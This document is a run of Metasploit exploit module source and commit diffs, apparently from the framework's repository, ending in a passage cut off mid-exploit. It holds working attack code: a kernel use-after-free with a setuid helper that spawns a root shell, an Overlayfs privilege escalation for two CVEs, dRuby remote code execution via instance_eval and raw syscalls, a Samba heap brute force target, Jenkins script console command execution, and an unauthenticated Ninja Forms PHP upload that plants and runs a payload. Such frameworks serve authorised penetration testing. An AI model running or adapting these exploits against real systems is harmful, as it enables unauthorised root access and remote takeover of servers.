if (hostnamefds[used_fds] == -1)
err(1, "open target file");
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
used_fds++;
if (used_fds == 1000) up = false;
} else {
close(hostnamefds[--used_fds]);
if (used_fds == 0) up = true;
}
}
fputs("woohoo, got pointer reuse\n", stderr);
while (1) sleep(1); /* whatever, just don't crash */
}
int main(void) {
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0)
make_setuid();
struct stat helperstat;
while (1) {
if (stat("suidhelper", &helperstat))
err(1, "stat suidhelper");
if (helperstat.st_mode & S_ISUID)
break;
sleep(1);
}
fputs("suid file detected, launching rootshell...\n", stderr);
execl("./suidhelper", "suidhelper", NULL);
err(1, "execl suidhelper");
}
}
suid_helper = %q{
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
}
hello = %q{
/*
FUSE: Filesystem in Userspace
Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
heavily modified by Jann Horn <jannh@google.com>
This program can be distributed under the terms of the GNU GPL.
See the file COPYING.
gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
*/
#define FUSE_USE_VERSION 26
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/uio.h>
static const char *hello_path = "/hello";
static char data_state[sizeof(struct iovec)];
static int hello_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {
stbuf->st_mode = S_IFREG | 0666;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(data_state);
stbuf->st_blocks = 0;
} else
res = -ENOENT;
return res;
}
static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);
return 0;
}
static int hello_open(const char *path, struct fuse_file_info *fi) {
return 0;
}
static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
sleep(10);
size_t len = sizeof(data_state);
if (offset < len) {
if (offset + size > len)
size = len - offset;
memcpy(buf, data_state + offset, size);
} else
size = 0;
return size;
}
static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
if (offset != 0)
errx(1, "got write with nonzero offset");
if (size != sizeof(data_state))
errx(1, "got write with size %d", (int)size);
memcpy(data_state + offset, buf, size);
return size;
}
static struct fuse_operations hello_oper = {
.getattr = hello_getattr,
.readdir = hello_readdir,
.open = hello_open,
.read = hello_read,
.write = hello_write,
};
int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &hello_oper, NULL);
}
}
hello_filename = 'hello'
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
doubleput_file = "#{datastore['WritableDir']}/doubleput"
suidhelper_filename = 'suidhelper'
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def has_prereqs?()
def check_libfuse_dev?()
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?()
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if compile == false
# doubleput file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
fd = ::File.open( path, "rb")
doubleput = fd.read(fd.stat.size)
fd.close
# hello file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
fd = ::File.open( path, "rb")
hello = fd.read(fd.stat.size)
fd.close
# suidhelper file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
fd = ::File.open( path, "rb")
suid_helper = fd.read(fd.stat.size)
fd.close
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'AyDJSaMM'
payload_path = '/tmp/AyDJSaMM'
end
# make our substitutions so things are dynamic
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
'exit(0);')
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
upload_and_compile('payload', payload_path, generate_payload_exe)
print_status('Starting execution of priv esc. This may take about 120 seconds')
cmd_exec(doubleput_file)
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
# check file permissions
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
print_good('got root, starting payload')
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
cmd_exec("#{suidhelper_path}")
return
end
sec_waited +=1
end
end
def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
super
end
end

View File

@ -0,0 +1,293 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Overlayfs Privilege Escalation',
'Description' => %q{
This module attempts to exploit two different CVEs related to overlayfs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8 (vulnerable, un-tested)
Red Hat:
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Jun 16 2015',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'CVE-2015-1328', { } ],
[ 'CVE-2015-8660', { } ]
],
'DefaultTarget' => 1,
'DefaultOptions' =>
{
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
},
'References' =>
[
[ 'EDB', '39166'], # CVE-2015-8660
[ 'EDB', '37292'], # CVE-2015-1328
[ 'CVE', '2015-1328'],
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def mounts_exist?()
vprint_status('Checking if mount points exist')
if target.name == 'CVE-2015-1328'
if not directory?('/tmp/ns_sploit')
vprint_good('/tmp/ns_sploit not created')
return true
else
print_error('/tmp/ns_sploit directory exists. Please delete.')
return false
end
elsif target.name == 'CVE-2015-8660'
if not directory?('/tmp/haxhax')
vprint_good('/tmp/haxhax not created')
return true
else
print_error('/tmp/haxhax directory exists. Please delete.')
return false
end
end
end
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
case os_id
when 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.13.0'
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.16.0'
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.19.0'
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '4.2.0'
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
when 'ID=fedora'
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel.release < Gem::Version.new('4.2.8')
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
return true
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if mounts_exist?() && kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname, fcontent, cleanup=true)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
if cleanup
register_file_for_cleanup(fname)
end
end
def on_new_session(session)
super
if target.name == 'CVE-2015-1328'
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session.shell_command('rm -f /etc/ld.so.preload')
session.shell_command('rm -f /tmp/ofs-lib.so')
end
end
if compile
begin
if target.name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
# pulled out from 1328.c's LIB define
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
end
end
if compile
if target.name == 'CVE-2015-1328'
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
upload_and_chmod("#{ofs_path}.c", ofs_lib)
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
register_file_for_cleanup("#{ofs_path}.c")
else
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
"os.execl('#{payload_path}','#{payloadname}')")
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
end
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
register_file_for_cleanup(executable_path)
else
if target.name == 'CVE-2015-1328'
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_1328)
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_8660)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod(payload_path, generate_payload_exe)
vprint_status('Exploiting...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end

View File

@ -66,6 +66,24 @@ class MetasploitModule < Msf::Exploit::Local
@executable_path @executable_path
end end
def check
# version can be nil
version = cmd_exec('pkexec --version').split.last
# version can be a string, so we check it
if version.nil? || !Gem::Version.correct?(version)
vprint_error('pkexec not found or version incorrect')
return CheckCode::Unknown
end
if Gem::Version.new(version) <= Gem::Version.new('0.101')
vprint_good("pkexec #{version} found")
return CheckCode::Appears
end
CheckCode::Detected
end
def exploit def exploit
main = %q^ main = %q^
/* /*

View File

@ -7,33 +7,39 @@ require 'msf/core'
require 'drb/drb' require 'drb/drb'
class MetasploitModule < Msf::Exploit::Remote class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::FileDropper
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution', 'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
'Description' => %q{ 'Description' => %q{
This module exploits remote code execution vulnerabilities in dRuby This module exploits remote code execution vulnerabilities in dRuby.
If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
In this event, the syscall target is preferred. This can be set with target 1.
}, },
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit) 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ], [ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
], ],
'Privileged' => false, 'Privileged' => false,
'Payload' => 'Payload' =>
{ {
'DisableNops' => true, 'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
},
'Space' => 32768, 'Space' => 32768,
}, },
'Platform' => 'unix', 'Platform' => 'unix',
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]], 'Targets' => [
['instance_eval', {}],
['syscall', {}]
],
'DisclosureDate' => 'Mar 23 2011', 'DisclosureDate' => 'Mar 23 2011',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
@ -51,19 +57,37 @@ class MetasploitModule < Msf::Exploit::Remote
class << p class << p
undef :send undef :send
end end
case target.name
when 'instance_eval'
print_status('Trying to exploit instance_eval')
exploit_instance_eval(p)
when 'syscall'
print_status('Trying to exploit syscall')
exploit_syscall(p)
end
end
def exploit_instance_eval(p)
begin begin
print_status('trying to exploit instance_eval')
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }") p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
rescue SecurityError
print_error('instance_eval failed due to security error')
rescue DRb::DRbConnError
print_error('instance_eval failed due to connection error')
end
end
rescue SecurityError => e def exploit_syscall(p)
print_status('instance eval failed, trying to exploit syscall') filename = "." + Rex::Text.rand_text_alphanumeric(16)
filename = "." + Rex::Text.rand_text_alphanumeric(16)
begin
begin begin
print_status('Attempting 32-bit exploitation')
# syscall to decide wether it's 64 or 32 bit: # syscall to decide wether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit # it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args # which will fail due to missing args
j = p.send(:syscall,20) p.send(:syscall,20)
# syscall open # syscall open
i = p.send(:syscall,8,filename,0700) i = p.send(:syscall,8,filename,0700)
# syscall write # syscall write
@ -75,13 +99,9 @@ class MetasploitModule < Msf::Exploit::Remote
# syscall execve # syscall execve
p.send(:syscall,11,filename,0,0) p.send(:syscall,11,filename,0,0)
# not vulnerable
rescue SecurityError => e
print_status('target is not vulnerable')
# likely 64bit system # likely 64bit system
rescue => e rescue Errno::EBADF
print_status('Target is a 64-bit system')
# syscall creat # syscall creat
i = p.send(:syscall,85,filename,0700) i = p.send(:syscall,85,filename,0700)
# syscall write # syscall write
@ -93,9 +113,17 @@ class MetasploitModule < Msf::Exploit::Remote
# syscall execve # syscall execve
p.send(:syscall,59,filename,0,0) p.send(:syscall,59,filename,0,0)
end end
# not vulnerable
rescue SecurityError
print_error('syscall failed due to security error')
return
rescue DRb::DRbConnError
print_error('syscall failed due to connection error')
return
end end
print_status("payload executed from file #{filename}") unless filename.nil?
print_status("make sure to remove that file") unless filename.nil? register_files_for_cleanup(filename)
handler(nil)
end end
end end

View File

@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
end end
# NRPE uses unauthenticated Annonymous-Diffie-Hellman # NRPE uses unauthenticated Anonymous-Diffie-Hellman
# setting the global SSL => true will break as we would be overlaying # setting the global SSL => true will break as we would be overlaying
# an SSLSocket on another SSLSocket which hasnt completed its handshake # an SSLSocket on another SSLSocket which hasnt completed its handshake
@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
self.sock = super(global, opts) self.sock = super(global, opts)
if datastore['NRPESSL'] or @force_ssl if datastore['NRPESSL'] or @force_ssl
ctx = OpenSSL::SSL::SSLContext.new("TLSv1") ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
ctx.ciphers = "ADH" ctx.ciphers = "ADH"

View File

@ -31,10 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote
'Targets' => 'Targets' =>
[ [
[ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 19 2014' 'DisclosureDate' => 'Nov 06 2015'
) )
) )

View File

@ -168,6 +168,20 @@ class MetasploitModule < Msf::Exploit::Remote
} }
], ],
['Linux Heap Brute Force (OpenWRT MIPS)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_MIPSBE ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x55900000 },
'Stop' => { 'Ret' => 0x559c0000 },
'Step' => 60*1024,
}
}
],
['DEBUG', ['DEBUG',
{ {
'Platform' => 'linux', 'Platform' => 'linux',
@ -267,7 +281,7 @@ class MetasploitModule < Msf::Exploit::Remote
talloc_magic = "\x70\xec\x14\xe8" talloc_magic = "\x70\xec\x14\xe8"
# second talloc_chunk header # second talloc_chunk header
buf << 'A' * 8 # next, prev buf << NDR.long(0) + NDR.long(0) # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0) # refs buf << NDR.long(0) # refs
buf << [target_addrs['Ret']].pack('V') # destructor buf << [target_addrs['Ret']].pack('V') # destructor

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => ['linux', 'bsd'], # binary > native JavaScript 'Platform' => ['linux', 'bsd'], # binary > native JavaScript
'Arch' => [ARCH_X86, ARCH_X86_64], 'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false, 'Privileged' => false,
'Targets' => 'Targets' =>
[ [

View File

@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
def http_send_command(cmd, opts = {}) def http_send_command(cmd, opts = {})
request_parameters = { request_parameters = {
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(@uri.path, "script"), 'uri' => normalize_uri(@uri.path, 'script'),
'vars_post' => 'vars_post' =>
{ {
'script' => java_craft_runtime_exec(cmd), 'script' => java_craft_runtime_exec(cmd),
@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
} }
} }
request_parameters['cookie'] = @cookie if @cookie != nil request_parameters['cookie'] = @cookie if @cookie != nil
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
res = send_request_cgi(request_parameters) res = send_request_cgi(request_parameters)
if not (res and res.code == 200) if not (res and res.code == 200)
fail_with(Failure::Unknown, 'Failed to execute the command.') fail_with(Failure::Unknown, 'Failed to execute the command.')
@ -159,8 +159,8 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' => 'vars_post' =>
{ {
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), 'j_username' => datastore['USERNAME'],
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), 'j_password' => datastore['PASSWORD'],
'Submit' => 'log in' 'Submit' => 'log in'
} }
}) })
@ -177,9 +177,12 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('No authentication required, skipping login...') print_status('No authentication required, skipping login...')
end end
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) if res.body =~ /"\.crumb", "([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}'") print_status("Using CSRF token: '#{$1}' (.crumb style)")
@crumb = $1 @crumb = {:name => '.crumb', :value => $1}
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
end end
case target['Platform'] case target['Platform']

View File

@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote
origin_type: :service, origin_type: :service,
module_fullname: self.fullname, module_fullname: self.fullname,
private_type: :password, private_type: :password,
private_data: datastore['HttpPassword'].downcase, private_data: datastore['HttpPassword'],
username: datastore['HttpUsername'] username: datastore['HttpUsername']
} }

View File

@ -0,0 +1,176 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
'Description' => %(
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
an unauthenticated file upload vulnerability, allowing guests
to upload arbitrary PHP code that can be executed in the context
of the web server.
),
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Discovery and disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['CVE', '2016-1209'],
['WPVDB', '8485'],
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
],
'DisclosureDate' => 'May 04 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ninja-forms', {}]],
'DefaultTarget' => 0
))
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
register_options(opts, self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def check
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
end
def enable_v3_functionality
print_status 'Enabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'upgrade' }
)
unless res && res.code == 200
if res
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
else
fail_with(Failure::Unreachable, 'Connection timed out.')
end
end
vprint_good 'Enabled V3 functionality'
end
def disable_v3_functionality
print_status 'Disabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'rollback' }
)
if res && res.code == 200
vprint_good 'Disabled V3 functionality'
elsif !res
print_error('Connection timed out while disabling V3 functionality')
else
print_error 'Failed to disable the vulnerable V3 functionality'
end
end
def generate_mime_message(payload_name, nonce)
data = Rex::MIME::Message.new
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
data.add_part(nonce, nil, nil, 'form-data; name="security"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
data
end
def fetch_ninja_form_nonce
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
end
form_wpnonce = res.get_hidden_inputs.first
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
unless nonce
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
end
nonce
end
def upload_payload(data)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
vprint_error("Server responded with status code #{res.code}") if res.code != 200
end
def execute_payload(payload_name, payload_url)
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
if !res.nil? && res.code == 404
print_error("Failed to upload the payload")
else
print_good("Executed payload")
end
end
def exploit
# Vulnerable code is only available in the version 3 preview mode, which can be
# enabled by unauthenticated users due to lack of user level validation.
enable_v3_functionality
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
# page that contains a form generated by Ninja Forms.
